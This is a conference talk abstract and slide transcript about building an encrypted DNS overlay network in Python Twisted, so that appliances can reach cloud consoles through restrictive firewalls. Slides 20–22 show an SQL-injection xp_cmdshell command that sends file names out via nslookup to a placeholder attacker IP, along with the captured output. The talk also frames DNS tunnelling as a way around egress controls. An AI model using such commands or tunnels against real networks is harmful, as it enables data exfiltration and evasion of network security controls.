(Re)solving an appliance traffic dilemma with the DNS loophole by Marco Slaviero

Cloud-based components are an all too common speed bump when installing new gear or software. While not an issue in home networks, outbound connections are shunned by default in regulated environments. Enabling communications between the newly installed technology and its cloud service then involves change control requests, committees, firewall admins, and (worst of all) delays... hardly the high-speed future we were promised.

Product builders: it doesn't have to be this way. Right now in your network one type of traffic almost certainly can exit your network without restriction: DNS. That VOIP network you think is isolated? Pretty good chance it can resolve DNS.

This is the story of how we grew one of the larger DNS overlay networks around using Python Twisted. We built a secure and reliable channel between thousands of appliances (hardware and virtual) and hundreds of servers, over the inherently unreliable DNS.

The talk covers designing and building custom network channels in Twisted, Twisted limitations we bumped into, unexpected DNS behaviours, challenges in scaling the channel, and more. Network knowledge is useful but not necessary to follow along, and while we used Twisted, the lessons are applicable in other frameworks too. If you've got an hankering for network code, then this heady mix of network stacks and Python hacks is for you!

Transcript

1. (Re)solving an appliance traffic dilemma with the DNS loophole @marcoslaviero
3. Whoami
4. Overview Product constraints DNS Primer Let’s build Limits Fragmentation Reliable and secure Upper layers Operating the overlay Experiments Wrap up
6. Product constraints
8. Deploying devices into enterprise networks Step 1: Reserve rack space Step 2: Physically install device Step 3: Forget to call the network person to enable a network point Step 4: Boot up device, realise it wants to talk to its Cloud component via HTTP or custom TCP, or custom UDP Step 5: Apply for proxy creds, and submit a change request for firewall changes Step 6: Continue installation in days to weeks
9. Cloud components
10. Device-Console Comms Constraints No network changes to accommodate birds in most cases Low bandwidth Intermittent comms are ok Guarantee delivery No snooping
11. No HTTP
12. No HTTP or direct TCP
13. No HTTP or direct TCP or direct UDP
14. Looking for alternatives Within weeks of committing the SYSLOG comms channel, it became apparent that we were going to be every other vendor So we went looking for options
15. Thanks security consulting!
16. Hacky hack hack
17. Taking you waaaaaay back SQL Injection but no results are displayed Can run any code though
20. exec master..xp_cmdshell 'for /F "usebackq tokens=1,2,3,4*" %i in (`dir c:\*.`) do (nslookup %l. YOUR_IP_HERE)'
21. exec master..xp_cmdshell 'for /F "usebackq tokens=1,2,3,4*" %i in (`dir c:\*.`) do (nslookup %l. YOUR_IP_HERE)' # tcpdump -n port 53 12:14:47.729725 IP 10.26.79.50.49882 > 10.26.79.1.53: 14387+ A? COMMAND.COM. (29) 12:14:47.891827 IP 10.26.79.50.37263 > 10.26.79.1.53: 82371+ A? AUTOEXEC.BAT. (30) 12:14:47.921539 IP 10.26.79.50.10239 > 10.26.79.1.53: 48372+ A? CONFIG.SYS. (28) …
22. exec master..xp_cmdshell 'for /F "usebackq tokens=1,2,3,4*" %i in (`dir c:\*.`) do (nslookup %l. YOUR_IP_HERE)' # tcpdump -n port 53 12:14:47.729725 IP 10.26.79.50.49882 > 10.26.79.1.53: 14387+ A? COMMAND.COM. (29) 12:14:47.891827 IP 10.26.79.50.37263 > 10.26.79.1.53: 82371+ A? AUTOEXEC.BAT. (30) 12:14:47.921539 IP 10.26.79.50.10239 > 10.26.79.1.53: 48372+ A? CONFIG.SYS. (28) …
25. We were not the first (by a long shot) Likely private tools (90s) NSTX (2000) DeNiSe (2002) OzymanDNS (2004) DNScat (2004) iodine (2006) https://www.sans.org/reading-room/whitepapers/dns/detecting-dns-tunneling-34152
26. Malware using DNS channels Feederbot (2011) Morto (2011) Mufanom (2011) AutoTsifiri (2011) Hiloti (2011) Zeus (2012) PlugX (2013) FrameworkPOS (2014) Greenbug (2018) https://passport.exclusive-networks.it/upload/workdoc/Infoblox%20Data%20Exfiltration%20Solution.pdf https://asert.arbornetworks.com/greenbugs-dns-isms/ https://lists.emergingthreats.net/pipermail/emerging-sigs/
27. Why DNS?
28. Prevalent
29. Permissive
30. Public
31. Indirect
32. DNS primer
33. What is a DNS? Distributed, hierarchical database Defines a protocol for querying the database, plus the database schema
34. Common use-case Convert hostnames to IPv{4,6} addresses (and vice versa) thinkst.com -> 176.9.123.248 Figure out where to send email for a domain @thinkst.com -> ALT1.ASPMX.L.GOOGLE.com. Provide aliases for hostnames myalias.thinkst.com -> thinkst.com
35. Uncommon use-cases DNSSEC (yeah, I said it) Geographic information Responsible person Plus ~35 other weirdos
36. Record types Addresses (IPv4 and IPv6) IP addresses Mail server addresses Name server addresses Authority records Aliases … We’ll come back to this
38. . com. org. thinkst.com st. think.st pycon.org pycon.think.st za.pycon.org www.thinkst.com www.pycon.org
39. We’re going to skip Recursive vs. iterative queries Forwarding & delegation Split horizon DNS Bailiwicks and glue records Trust anchors ….
40. Query traversing a series of DNS servers Internal ISP Console Customer network Internet
41. Query traversing a series of DNS servers Internal ISP Console Customer network Internet
42. Query traversing a series of DNS servers Internal ISP Console Customer network Internet
43. Let’s build
44. Demo: DNS as a pipe
45. So we have a channel
46. But slow, unreliable, insecure and completely janky
47. First, let’s return a response
48. Demo: A trivial Twisted DNS server
49. We can make the responses dynamic The server calculates or performs some operation before send a response
50. Demo: Counter Resolver
51. But that’s not a lot of data The A record is limited, it carries four bytes back The AAAA can hold 16 bytes CNAMEs can carry a whole second hostname TXT records can carry unstructured text (theoretic limit is 65k)
52. Demo: Art Resolver Actual art generator: @__edne__
53. Custom DNS Server We can send arbitrary data back to the client Using TXT records Server has no way of initiating comms Client is the OS program
54. Custom DNS Client
55. DNS and casing Hostnames are case insensitive Servers SHOULD but aren’t REQUIRED to preserve case TXT data should remain untouched
56. Constant polling Server unable to initiate, so client must poll Client polls at a period you’re comfortable with
57. Demo: Chat Server and Client Actual art generator: @__edne__
58. We want reliability in the face of Server not able to initiate traffic Asymmetric size limitations on server and client Packet loss, duplication and reordering Server is publicly accessible to the Internet Ancient DNS servers Result caching No insight into the device’s IP address
59. Limits
60. DNS lengths that matter Hostnames <= 253 bytes (trailing ‘.’ always gets added) Labels <= 63 bytes Whole packet <= 512 bytes (avoids TCP) TXT records <= 65535 bytes p y c o n . t h i n k . s t
61. DNS lengths that matter Hostnames <= 253 bytes (trailing ‘.’ always gets added) Labels <= 63 bytes Whole packet <= 512 bytes (avoids TCP) TXT records <= 65535 bytes p y c o n . t h i n k . s t
62. Request-in-response Query with 253 byte hostname means a response of 548 bytes. Not good, it’s > 512
63. Optimal size 241 bytes for hostname (includes trailing ‘.’) 240 bytes for TXT response Doesn’t need EDNS0 or TCP Doesn’t always work :/ Header/flags/lengths (13 bytes) Query (241 bytes) Query TYPE/CLASS (4 bytes) Answer header (13 bytes) Response (240 bytes) Total: 511 bytes
64. Fragmentation
65. Client fragments DNS Client (Device) DNS Server (Console) Fragment 1 Ack 1 Ack 2 Ack 3 Fragment 2 Fragment 3
66. What about when the server wants to send the client 700 bytes?
67. DNS doesn’t support this DNS Client (Device) DNS Server (Console) Polling request Fragment 1 Fragment 2 Fragment 3
68. Instead we have to do this DNS Client (Device) DNS Server (Console) Polling request Fragment 1 Fragment 2 Request fragment 2 Fragment 3 Request fragment 3
69. Reliable and secure
70. Lossy UDP No guarantees on delivery Twisted’s DNS client includes retries with backoff If a client message still hasn’t been ack’d by the server, cache the whole message to disk (not just the individual fragments) Retry the whole message after a timeout (e.g. 1 minute)
71. Crypto
72. NaCl library Python bindings (PyNaCl) Removes cryptographic suites from the picture Super simple construction Client and server share a single key (sharing out-of-bound) SecretBox
74. Upper layers
75. Operating the overlay
76. Quick stats Hundreds of consoles Thousands of devices Devices heartbeat every 30 seconds Peak bandwidth is around 200bps ~98% make no changes to their networks Single t2.micro handles the DNS channel for 50 devices with 0.07 load
77. Experiments
78. Parallel requests DNS Client (Device) DNS Server (Console) Req 1 Fragment 1 Fragment 2 Fragment 3 Req 2 Req 3 Poll Data waiting
79. Parallel requests performance pulling ~103k Seconds 0 125 250 375 500 Parallel requests 1 2 5 10 50 100 3,2Kb/s 3,7Kb/s 2,2Kb/s 1,1Kb/s 473b/s 230b/s
80. Wrap up
81. Conclusion DNS-overlay network Reliable Secure Low bandwidth https://canary.tools/love
82. Q&A